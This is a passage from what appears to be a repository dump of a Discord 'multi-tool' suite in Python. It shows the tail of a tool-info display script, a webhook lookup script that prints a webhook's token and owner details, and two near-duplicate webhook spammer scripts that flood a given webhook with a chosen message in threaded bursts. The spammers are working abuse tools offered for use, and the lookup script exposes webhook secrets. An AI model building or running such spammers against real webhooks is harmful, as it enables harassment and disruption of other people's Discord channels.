{current_theme["secondary"]}{tool_info.get('code', 'N/A')}{current_theme["reset"]} 35 | {current_theme["primary"]}Language :{current_theme["reset"]} {current_theme["secondary"]}{tool_info.get('language', 'N/A')}{current_theme["reset"]} 36 | {current_theme["primary"]}Creator :{current_theme["reset"]} {current_theme["secondary"]}{tool_info.get('creator', 'N/A')}{current_theme["reset"]} 37 | {current_theme["primary"]}Discord :{current_theme["reset"]} {current_theme["secondary"]}https://{tool_info.get('discord', 'N/A')}{current_theme["reset"]} 38 | {current_theme["primary"]}GitHub :{current_theme["reset"]} {current_theme["secondary"]}https://{tool_info.get('github', 'N/A')}{current_theme["reset"]}""") 39 | 40 | input(f"""{current_theme["primary"]}\nPress Enter to return to the main menu...{current_theme["reset"]}""") 41 | clear_screen() 42 | except Exception as e: 43 | print_error(e) 44 | 45 | def main(): 46 | tools_file_path = os.path.join('utils', 'tools.json') 47 | tool_info = read_tool_info(tools_file_path) 48 | display_tool_info(tool_info) 49 | 50 | if __name__ == "__main__": 51 | main() 52 | -------------------------------------------------------------------------------- /utils/webhook_info.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import os 3 | from pystyle import Colors 4 | 5 | def clear(): 6 | os.system('cls') 7 | 8 | def main(): 9 | pass 10 | 11 | def info_webhook(webhook_url): 12 | headers = { 13 | 'Content-Type': 'application/json', 14 | } 15 | 16 | try: 17 | response = requests.get(webhook_url, headers=headers) 18 | response.raise_for_status() 19 | webhook_info = response.json() 20 | clear() 21 | print("\nInformation Webhook:") 22 | 23 | print(f"ID : {webhook_info['id']}") 24 | print(f"Token : {webhook_info['token']}") 25 | print(f"Name : {webhook_info['name']}") 26 | print(f"Avatar : {webhook_info['avatar']}") 27 | print(f"Type : {'bot' if webhook_info['type'] == 1 else 'webhook utilisateur'}") 28 | print(f"Channel ID : {webhook_info['channel_id']}") 29 | print(f"Server ID : {webhook_info['guild_id']}") 30 | 31 | print("\nUser information associated with the Webhook:") 32 | if 'user' in webhook_info and webhook_info['user']: 33 | user_info = webhook_info['user'] 34 | print(f"ID : {user_info['id']}") 35 | print(f"Name : {user_info['username']}") 36 | print(f"DisplayName : {user_info['global_name']}") 37 | print(f"Number : {user_info['discriminator']}") 38 | print(f"Avatar : {user_info['avatar']}") 39 | print(f"Flags : {user_info['flags']} Publique: {user_info['public_flags']}") 40 | print(f"Color : {user_info['accent_color']}") 41 | print(f"Decoration : {user_info['avatar_decoration_data']}") 42 | print(f"Banner : {user_info['banner_color']}") 43 | print("") 44 | else: 45 | print("\nNo user information associated with the Webhook.") 46 | 47 | except requests.exceptions.RequestException as e: 48 | Error(e) 49 | 50 | def Error(e): 51 | print(f"[ERROR] {e}") 52 | 53 | try: 54 | webhook_url = input(f"\n{Colors.red}Webhook URL -> ") 55 | info_webhook(webhook_url) 56 | 57 | except Exception as e: 58 | Error(e) 59 | 60 | if __name__ == "__main__": 61 | main() -------------------------------------------------------------------------------- /utils/webhook_spamer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import threading 4 | 5 | def clear(): 6 | print("\033c", end="") 7 | 8 | def setTitle(title): 9 | print(f"\033]0;{title}\007") 10 | 11 | 12 | def main(): 13 | print("Returning to main menu...") 14 | 15 | def webhookspam(): 16 | setTitle("WebHook Spammer") 17 | clear() 18 | webhook = input(f"WebHook Link: ") 19 | try: 20 | requests.post(webhook, json={'content': ""}) 21 | except: 22 | print(f"Your WebHook is invalid !") 23 | time.sleep(2) 24 | clear() 25 | main() 26 | print(f"\nEnter the message to spam ") 27 | message = input(f"Message: ") 28 | print(f"\nAmount of messages to send ") 29 | amount = int(input(f"Amount: ")) 30 | 31 | def spam(): 32 | try: 33 | requests.post(webhook, json={'content': message}) 34 | except Exception as e: 35 | print(f"Error: {e}") 36 | 37 | for x in range(amount): 38 | threading.Thread(target=spam).start() 39 | time.sleep(0.1) 40 | 41 | clear() 42 | print(f"Webhook has been correctly spammed") 43 | input(f"\nPress ENTER to exit") 44 | main() 45 | 46 | webhookspam() 47 | 48 | if __name__ == "__main__": 49 | main() -------------------------------------------------------------------------------- /utils/webhook_spammer.py: -------------------------------------------------------------------------------- 1 | import requests 2 | import time 3 | import threading 4 | from pystyle import Colors 5 | 6 | def clear(): 7 | print("\033c", end="") 8 | 9 | def setTitle(title): 10 | print(f"\033]0;{title}\007") 11 | 12 | 13 | def main(): 14 | pass 15 | 16 | def webhookspam(): 17 | clear() 18 | webhook = input(f"{Colors.red}WebHook Link: ") 19 | try: 20 | requests.post(webhook, json={'content': ""}) 21 | except: 22 | print(f"Your WebHook is invalid !") 23 | time.sleep(2) 24 | clear() 25 | message = input(f"\n{Colors.red}Enter the message to spam ") 26 | amount = int(input(f"\n{Colors.red}Amount of messages to send ")) 27 | 28 | def spam(): 29 | try: 30 | requests.post(webhook, json={'content': message}) 31 | except Exception as e: 32 | print(f"Error: {e}") 33 | 34 | for x in range(amount): 35 | threading.Thread(target=spam).start() 36 | time.sleep(0.1) 37 | 38 | 39 | print(f"Webhook has been correctly spammed") 40 | input(f"\nPress ENTER to exit") 41 | clear() 42 | 43 | webhookspam() 44 | 45 | if __name__ == "__main__": 46 | main() --------------------------------------------------------------------------------